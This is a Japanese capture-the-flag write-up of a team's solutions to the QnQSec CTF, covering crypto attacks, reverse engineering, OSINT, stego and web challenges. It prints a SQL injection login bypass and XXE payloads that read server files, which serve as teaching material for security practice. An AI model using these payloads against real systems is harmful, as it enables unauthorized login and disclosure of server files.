この大会は2025/10/17 3:00(JST)~2025/10/19 3:00(JST)に開催されました。
今回もチームで参戦。結果は700点で738チーム中211位でした。
自分で解けた問題をWriteupとして書いておきます。
Echoes of the Unknown (Warmup)
wavファイルをAudacityで開き、スペクトログラムを見る。周波数を調整すると、フラグが表示された。

QnQSec{H1dd3n_1n_4ud1o}
Mandatory RSA (Warmup)
eの値が非常に大きいため、Wiener's Attackで復号する。
#!/usr/bin/env python3 from Crypto.Util.number import * from fractions import Fraction def egcd(a, b): x, y, u, v = 0, 1, 1, 0 while a != 0: q, r = b // a, b % a m, n = x - u * q, y - v * q b, a, x, y, u, v = a, r, u, v, m, n gcd = b return gcd, x, y def decrypt(p, q, e, c): n = p * q phi = (p - 1) * (q - 1) gcd, a, b = egcd(e, phi) d = a pt = pow(c, d, n) return long_to_bytes(pt) def continued_fractions(n,e): cf = [0] while e != 0: cf.append(int(n // e)) N = n n = e e = N % e return cf def calcKD(cf): kd = list() for i in range(1, len(cf) + 1): tmp = Fraction(0) for j in cf[1:i][::-1]: tmp = 1 / (tmp + j) kd.append((tmp.numerator, tmp.denominator)) return kd def int_sqrt(n): def f(prev): while True: m = (prev + n // prev) // 2 if m >= prev: return prev prev = m return f(n) def calcPQ(a, b): if a * a < 4 * b or a < 0: return None c = int_sqrt(a * a - 4 * b) p = (a + c) // 2 q = (a - c) // 2 if p + q == a and p * q == b: return (p, q) else: return None def wiener(n, e): kd = calcKD(continued_fractions(n, e)) for (k, d) in kd: if k == 0: continue if (e * d - 1) % k != 0: continue phin = (e * d - 1) // k if phin >= n: continue ans = calcPQ(n - phin + 1, n) if ans is None: continue return (ans[0], ans[1]) with open('known.txt', 'r') as f: params = f.read().splitlines() n = int(params[0].split(' ')[-1]) e = int(params[1].split(' ')[-1]) c = int(params[2].split(' ')[-1]) p, q = wiener(n, e) assert p * q == n flag = decrypt(p, q, e, c).decode() print(flag)
QnQSec{I_l0v3_Wi3n3r5_@nD_i_l0v3_Nut5!!!!}
The Bird (Warmup)

問題文はこうなっている。
Find the Bird Sanctuary where this type of bird is found.
Redacted GPS Coordinates: LAT: 27.**** LON: 79.****
Flag format: QnQsec{BirdSanctuary}画像検索すると、以下のページが見つかった。
https://stock.adobe.com/jp/images/painted-stork-mycteria-leucocephala-ranganathittu-bird-sanctuary-karnataka-india/261018174
Ranganathittu Bird Sanctuary と書いてある。
QnQsec{Ranganathittu}これはフラグとして通らなかった。
緯度、経度のヒントがあるので、その辺りをGoogle Mapで見てみると、以下が該当しそう。
https://www.google.co.jp/maps/place/%E3%82%B5%E3%83%B3%E3%83%87%E3%82%A3%E9%B3%A5%E9%A1%9E%E4%BF%9D%E8%AD%B7%E5%8C%BA/@27.3165574,79.8211372,12z/data=!4m10!1m2!2m1!1sBird+Sanctuary!3m6!1s0x399e5ba48b3c6a07:0x2483314909cefc6c!8m2!3d27.3165574!4d79.9735725!15sCg5CaXJkIFNhbmN0dWFyeZIBEmJpcmRfd2F0Y2hpbmdfYXJlYaoBShABKhIiDmJpcmQgc2FuY3R1YXJ5KAgyHhABIhrTpyi0k16mht4PfVVengTGf__VXwCViZPgITISEAIiDmJpcmQgc2FuY3R1YXJ54AEA!16s%2Fm%2F047br53?entry=ttu&g_ep=EgoyMDI1MTAxNC4wIKXMDSoASAFQAw%3D%3D
名前はSandi Bird Sanctuaryとなっている。
QnQsec{SandiBirdSanctuary}
The Hidden Castle (Warmup)
問題文はこうなっている。
An old encrypted hard drive was discovered in an abandoned building near a major UNESCO World Heritage Site.
Redacted GPS Coordinates: LAT: 50.**** LON: 19.****
Flag format: QnQsec{theplaceofcastle}ChatGPTに聞いてみると、緯度、経度のヒントから、Historic Centre of Kraków / Wawel Castle が世界遺産として該当することがわかる。
QnQsec{wawelcastle}
Baby_Reverse_Revenge_From_NHNC (Warmup)
Ghidraでデコンパイルする。
undefined8 main(int param_1,undefined8 *param_2) { int iVar1; undefined8 uVar2; long in_FS_OFFSET; char local_48 [16]; undefined8 local_38; undefined8 local_30; undefined8 local_28; undefined8 local_20; long local_10; local_10 = *(long *)(in_FS_OFFSET + 0x28); if (param_1 < 2) { printf("Usage: %s encrypt",*param_2); uVar2 = 1; } else { local_48[0] = '\0'; local_48[1] = '\0'; local_48[2] = '\0'; local_48[3] = '\0'; local_48[4] = '\0'; local_48[5] = '\0'; local_48[6] = '\0'; local_48[7] = '\0'; local_48[8] = '\0'; local_48[9] = '\0'; local_48[10] = '\0'; local_48[0xb] = '\0'; local_48[0xc] = '\0'; local_48[0xd] = '\0'; local_48[0xe] = '\0'; local_48[0xf] = '\0'; strncpy(local_48,"1337",0x10); local_38 = 0; local_30 = 0; local_28 = 0; local_20 = 0; iVar1 = call_embedded_shellcode(&local_38,0x20); if (iVar1 == 0) { fwrite("Failed to produce key via shellcode\n",1,0x24,stderr); uVar2 = 2; } else { iVar1 = strcmp((char *)param_2[1],"encrypt"); if (iVar1 == 0) { iVar1 = encrypt_file("flag.txt","flag.enc",&local_38,local_48); if (iVar1 == 0) { puts("Encrypt failed"); uVar2 = 3; } else { puts("Encrypted -> flag.enc"); uVar2 = 0; } } else { uVar2 = 0; } } } if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) { /* WARNING: Subroutine does not return */ __stack_chk_fail(); } return uVar2; } undefined4 encrypt_file(char *param_1,char *param_2,undefined8 param_3,undefined8 param_4) { undefined4 uVar1; FILE *__stream; FILE *__stream_00; __stream = fopen(param_1,"rb"); __stream_00 = fopen(param_2,"wb"); if ((__stream == (FILE *)0x0) || (__stream_00 == (FILE *)0x0)) { perror("File open"); if (__stream != (FILE *)0x0) { fclose(__stream); } if (__stream_00 != (FILE *)0x0) { fclose(__stream_00); } uVar1 = 0; } else { uVar1 = do_crypto(__stream,__stream_00,param_3,param_4,1); fclose(__stream); fclose(__stream_00); } return uVar1; } undefined8 do_crypto(FILE *param_1,FILE *param_2,uchar *param_3,uchar *param_4,int param_5) { int iVar1; undefined8 uVar2; size_t sVar3; long in_FS_OFFSET; int local_850; int local_84c; EVP_CIPHER_CTX *local_848; EVP_CIPHER *local_840; uchar local_838 [1024]; uchar local_438 [1064]; long local_10; local_10 = *(long *)(in_FS_OFFSET + 0x28); local_848 = EVP_CIPHER_CTX_new(); if (local_848 == (EVP_CIPHER_CTX *)0x0) { uVar2 = 0; } else { local_840 = EVP_aes_256_cbc(); if (param_5 == 0) { iVar1 = EVP_DecryptInit_ex(local_848,local_840,(ENGINE *)0x0,param_3,param_4); if (iVar1 != 1) { handle_errors(); } } else { iVar1 = EVP_EncryptInit_ex(local_848,local_840,(ENGINE *)0x0,param_3,param_4); if (iVar1 != 1) { handle_errors(); } } while( true ) { sVar3 = fread(local_838,1,0x400,param_1); local_84c = (int)sVar3; if (local_84c < 1) break; if (param_5 == 0) { iVar1 = EVP_DecryptUpdate(local_848,local_438,&local_850,local_838,local_84c); if (iVar1 != 1) { handle_errors(); } } else { iVar1 = EVP_EncryptUpdate(local_848,local_438,&local_850,local_838,local_84c); if (iVar1 != 1) { handle_errors(); } } fwrite(local_438,1,(long)local_850,param_2); } if (param_5 == 0) { iVar1 = EVP_DecryptFinal_ex(local_848,local_438,&local_850); if (iVar1 != 1) { handle_errors(); } } else { iVar1 = EVP_EncryptFinal_ex(local_848,local_438,&local_850); if (iVar1 != 1) { handle_errors(); } } fwrite(local_438,1,(long)local_850,param_2); EVP_CIPHER_CTX_free(local_848); uVar2 = 1; } if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) { /* WARNING: Subroutine does not return */ __stack_chk_fail(); } return uVar2; }
アセンブリで暗号化する関数の呼び出し部分を見てみる。
LAB_001016cf XREF[1]: 00101691(j)
001016cf 48 8b 4d c0 MOV RCX,qword ptr [RBP + local_48]
001016d3 48 8b 55 c8 MOV RDX,qword ptr [RBP + local_40]
001016d7 48 8b 75 f8 MOV RSI,qword ptr [RBP + local_10]
001016db 48 8b 45 f0 MOV RAX,qword ptr [RBP + local_18]
001016df 41 b8 01 MOV R8D,0x1
00 00 00
001016e5 48 89 c7 MOV RDI,RAX
001016e8 e8 d6 fc CALL do_crypto undefined do_crypto()
ff ff001016dfの命令を「MOV R8D,0x0」に書き換え、復号するようにしたい。
バイナリエディタで、該当する部分を検索する。オフセット0x16e1の値を0x00に書き換え、decrypterとして保存する。
$ mv flag.enc flag.txt $ ./decrypter encrypt Encrypted -> flag.enc $ cat flag.enc QnQSec{a_s1mpl3_fil3_3ncrypt3d_r3v3rs3}
QnQSec{a_s1mpl3_fil3_3ncrypt3d_r3v3rs3}
baby_baby_reverse (Warmup)
Ghidraでデコンパイルする。
undefined8 main(void) { char *pcVar1; undefined8 uVar2; long in_FS_OFFSET; byte local_24a; size_t local_248; ulong local_240; byte local_228 [536]; long local_10; local_10 = *(long *)(in_FS_OFFSET + 0x28); local_228[0] = 0x54; local_228[1] = 0x68; local_228[2] = 0x31; local_228[3] = 0x73; local_228[4] = 0x5f; local_228[5] = 0x31; local_228[6] = 0x73; local_228[7] = 0x5f; local_228[8] = 0x74; local_228[9] = 0x68; local_228[10] = 0x33; local_228[0xb] = 0x5f; local_228[0xc] = 0x6b; local_228[0xd] = 0x33; local_228[0xe] = 0x79; local_228[0xf] = 0; printf("Enter flag: "); pcVar1 = fgets((char *)(local_228 + 0x10),0x200,stdin); if (pcVar1 == (char *)0x0) { puts("Input error"); uVar2 = 1; } else { local_248 = strlen((char *)(local_228 + 0x10)); if ((local_248 != 0) && (local_228[local_248 + 0xf] == 10)) { local_228[local_248 + 0xf] = 0; local_248 = local_248 - 1; } if (local_248 == 0x29) { local_24a = 0; for (local_240 = 0; local_240 < 0x29; local_240 = local_240 + 1) { local_24a = local_24a | encrypted[local_240] ^ local_228[local_240 % 0xf] ^ local_228[local_240 + 0x10]; } if (local_24a == 0) { puts("Correct!"); } else { puts("Wrong!"); } uVar2 = 0; } else { puts("Wrong!"); uVar2 = 0; } } if (local_10 == *(long *)(in_FS_OFFSET + 0x28)) { return uVar2; } /* WARNING: Subroutine does not return */ __stack_chk_fail(); } encrypted XREF[3]: Entry Point(*), main:001012ea(*), main:001012fb(*) 00104060 05 06 60 undefine 20 3a 52 08 0b 1c 00104060 05 undefined105h [0] XREF[3]: Entry Point(*), main:001012ea(*), main:001012fb(*) 00104061 06 undefined106h [1] 00104062 60 undefined160h [2] 00104063 20 undefined120h [3] 00104064 3a undefined13Ah [4] 00104065 52 undefined152h [5] 00104066 08 undefined108h [6] 00104067 0b undefined10Bh [7] 00104068 1c undefined11Ch [8] 00104069 01 undefined101h [9] 0010406a 40 undefined140h [10] 0010406b 00 undefined100h [11] 0010406c 5a undefined15Ah [12] 0010406d 40 undefined140h [13] 0010406e 26 undefined126h [14] 0010406f 60 undefined160h [15] 00104070 06 undefined106h [16] 00104071 6e undefined16Eh [17] 00104072 40 undefined140h [18] 00104073 3e undefined13Eh [19] 00104074 42 undefined142h [20] 00104075 0a undefined10Ah [21] 00104076 00 undefined100h [22] 00104077 06 undefined106h [23] 00104078 5b undefined15Bh [24] 00104079 45 undefined145h [25] 0010407a 6c undefined16Ch [26] 0010407b 19 undefined119h [27] 0010407c 40 undefined140h [28] 0010407d 4a undefined14Ah [29] 0010407e 0b undefined10Bh [30] 0010407f 0b undefined10Bh [31] 00104080 59 undefined159h [32] 00104081 47 undefined147h [33] 00104082 33 undefined133h [34] 00104083 5d undefined15Dh [35] 00104084 40 undefined140h [36] 00104085 31 undefined131h [37] 00104086 13 undefined113h [38] 00104087 5b undefined15Bh [39] 00104088 4e undefined14Eh [40]
encryptedとlocal_228の繰り返しをXORすればよい。
>>> ct = [0x05, 0x06, 0x60, 0x20, 0x3a, 0x52, 0x08, 0x0b, 0x1c, 0x01, 0x40, 0x00, 0x5a, 0x40, 0x26, 0x60, 0x06, 0x6e, 0x40, 0x3e, 0x42, 0x0a, 0x00, 0x06, 0x5b, 0x45, 0x6c, 0x19, 0x40, 0x4a, 0x0b, 0x0b, 0x59, 0x47, 0x33, 0x5d, 0x40, 0x31, 0x13, 0x5b, 0x4e]
>>> key = [0x54, 0x68, 0x31, 0x73, 0x5f, 0x31, 0x73, 0x5f, 0x74, 0x68, 0x33, 0x5f, 0x6b, 0x33, 0x79]
>>> ''.join([chr(ct[i] ^ key[i % len(key)]) for i in range(len(ct))])
'QnQSec{This_1s_4n_3asy_r3v3rs3_ch4ll3ng3}'
QnQSec{This_1s_4n_3asy_r3v3rs3_ch4ll3ng3}
myLFSR? (Warmup)
暗号化処理の概要は以下の通り。
・KEY: ランダム8バイト文字列を数値化したものをbase3の数値配列にし、逆転したもの ・MASK: KEYの長さ分ランダム256ビット整数を3で割った余りを配列にしたもの ・cipher = Cipher(KEY, MASK) ・cipher.lfsr = myLFSR(key, mask) ・cipher.lfsr.state = key ・cipher.lfsr.mask = mask ・cipher.mod = 3 ・gift = cipher.encrypt(b"\xff" * (len(KEY) // 3 + 3)) ・pt: b"\xff" * (len(KEY) // 3 + 3)を数値化したものをbase3の数値配列にし、逆転したもの ・stream: ptの長さだけcipher.lfsr()の結果を配列にしたもの ・cipher.lfsr() ・b = sum(s * m for s, m in zip(cipher.lfsr.state, cipher.lfsr.mask)) % cipher.lfsr.mod ・output = cipher.lfsr.state[0] ・cipher.lfsr.state = cipher.lfsr.state[1:] + [b] ・outputを返却 ・ct: ptとstreamのXOR ・ctを返却 ・ct = cipher.encrypt(flag) ・KEYの長さを出力 ・giftを16進数表記で出力 ・ctを16進数表記で出力
output.txtの内容からKEYの長さは40であることがわかる。streamの最初の40個はKEYそのものになる。またstreamとmaskの剰余環乗の行列の積で等式を表せる。
[stream[0], stream[1], ..., stream[39]] [mask[0]] [stream[40]]
[stream[1], stream[2], ..., stream[40]] [mask[1]] [stream[41]]
: * : = :
[stream[38], stream[39], ..., stream[77]] [mask[38]] [stream[78]]
[stream[39], stream[40], ..., stream[78]] [mask[39]] [stream[79]]これをS * M = Cと表すと、以下の計算でMASKであるMを割り出すことができる。
M = ~S * C
あとは順を追って、flagの暗号化時のstreamを割り出し、XORして復号することができる。
#!/usr/bin/env sage from Crypto.Util.number import * def expand(n: int, base=3) -> list[int]: res = [] while n: res.append(n % base) n //= base return res class myLFSR: def __init__(self, key: list[int], mask: list[int]): self.state = key self.mask = mask self.mod = 3 def __call__(self) -> int: b = sum(s * m for s, m in zip(self.state, self.mask)) % self.mod output = self.state[0] self.state = self.state[1:] + [b] return output class Cipher: def __init__(self, key: list[int], mask: list[int]): self.lfsr = myLFSR(key, mask) def encrypt(self, msg: bytes) -> bytes: pt = expand(int.from_bytes(msg, "big")) stream = [self.lfsr() for _ in range(len(pt))] ct = [a ^^ b for a, b in zip(pt, stream)] return bytes(ct) with open('output.txt', 'r') as f: params = f.read().splitlines() MOD = 3 KEY_LEN = int(params[0]) gift = bytes.fromhex(params[1]) ct = bytes.fromhex(params[2]) gift_pt = b'\xff' * (KEY_LEN // 3 + 3) gift_pt = expand(int.from_bytes(gift_pt, 'big')) stream = [a ^^ b for a, b in zip(gift_pt, gift)] KEY = stream[:KEY_LEN] S = [] for i in range(KEY_LEN): row = [stream[i + j] for j in range(KEY_LEN)] S.append(row) C = [[stream[i + KEY_LEN]] for i in range(KEY_LEN)] S = matrix(Zmod(MOD), S) C = matrix(Zmod(MOD), C) M = ~S * C MASK = [int(M[i][0]) for i in range(KEY_LEN)] cipher = Cipher(KEY, MASK) calc_gift = cipher.encrypt(b'\xff' * (len(KEY) // 3 + 3)) assert gift == calc_gift stream = [cipher.lfsr() for i in range(len(ct))] pt = [a ^^ b for a, b in zip(ct, stream)] m = 0 for i in range(len(pt)): m += pt[i] * MOD ** i flag = long_to_bytes(m).decode() print(flag)
QnQSec{i_L1K3_B3RleK4mP_m4Ss3y_0n_m0d_3_f1elD}
Sanity Check (Misc)
Discordに入り、#rulesチャネルのメッセージを見ると、フラグが書いてあった。
QnQSec{W3lcom3_t0_QnQSec_h0p3_y0u_br0ught_p1zza}
Catch Me (Misc)
添付のgifはアニメーションになっていて、341コマある。各コマはQRコードになっているので、giamで分割して、スクリプトで各QRコードをデコードしていく。さらにbase64文字列になっているので、デコードし、フラグの形式になっているものを探す。
#!/usr/bin/env python3 from pyzbar.pyzbar import decode from PIL import Image from base64 import b64decode for i in range(1, 342): fname = 'frames/qrs_%03d.gif' % i img = Image.open(fname) data = decode(img)[0].data.decode() flag = b64decode(data).decode() if flag.startswith('QnQSec{'): print(flag) break
QnQSec{C4TCH_M3_1F_Y0U_C4N}
HeartBroken (Misc)
Adobe Acrobatで開き、割れているハートの画像を取り除くと、フラグが現れた。

QnQSec{I_4ctually_st1ll_l0v3_y0u_Rima!!}
The company (OSINT)

問題文はこうなっている・
we stumbled upon this job offer by Chloe Stekar, what's the company that's hiring ?
Flag format: QnQSec{Company Name}Xで問題文にある「Chloe Stekar」を検索すると、画像の投稿がすぐに見つかった。
https://x.com/ChloeStekar
画像のマスクされている部分にはこう書いてある。
QnQ Corps welcomes you, we're on linkedin cuz we're a real!
QnQSec{QnQ Corps}
FAAS (File Access As A Service) (Pwn)
$ nc 161.97.155.116 1337 0. open file 1. read file 2. write file 3. show available files 4. exit > 3 Available files: - todo.txt - access.txt - flag.txt - temp.txt 0. open file 1. read file 2. write file 3. show available files 4. exit > 0 Enter file path: flag.txt 0. open file 1. read file 2. write file 3. show available files 4. exit > 1 You're not editing any files currently
flag.txtは読めなかった。/flag.txtで同様に試す。
0. open file
1. read file
2. write file
3. show available files
4. exit
> 0
Enter file path:
/flag.txt
0. open file
1. read file
2. write file
3. show available files
4. exit
> 1
Enter position to read from: 0
Enter number of bytes to read: (max: 4096) 100
Show as (1) string or (2) hex? 1
---- File content ----
QnQSec{1e5f0159edd5b616423e15bd973971f3}.
---- End of content ----
QnQSec{1e5f0159edd5b616423e15bd973971f3}
s3cr3ct_w3b (Web)
ログイン画面で以下の通り入力し、SQLインジェクションでログインする。
Username: ' or 1=1 -- - Password: a
XMLデータを送信できるようなので、XXEと推測し、以下の内容のファイルを作成し、送信してみる。
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///var/www/html/flag.txt">]><root>&xxe;</root>
この結果、以下のように表示された。
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///var/www/html/flag.txt"> ]> <root>QnQSec{sql1+XXE_1ng3tion_but_using_php_filt3r}</root>
QnQSec{sql1+XXE_1ng3tion_but_using_php_filt3r}
s3cr3ct_w3b revenge (Web)
s3cr3ct_w3bと同じように、ログイン画面で以下の通り入力し、SQLインジェクションでログインする。
Username: ' or 1=1 -- - Password: a
Dockerfileを見ると、flag.txtのパスが変わっているので、以下の内容に変え、送信してみる。
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///var/flags/flag.txt">]><root>&xxe;</root>
この結果、以下のように表示された。
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///var/flags/flag.txt"> ]> <root>QnQSec{R3v3ng3_15_sw33t_wh3ne_d0n3_r1ght} </root>
QnQSec{R3v3ng3_15_sw33t_wh3ne_d0n3_r1ght}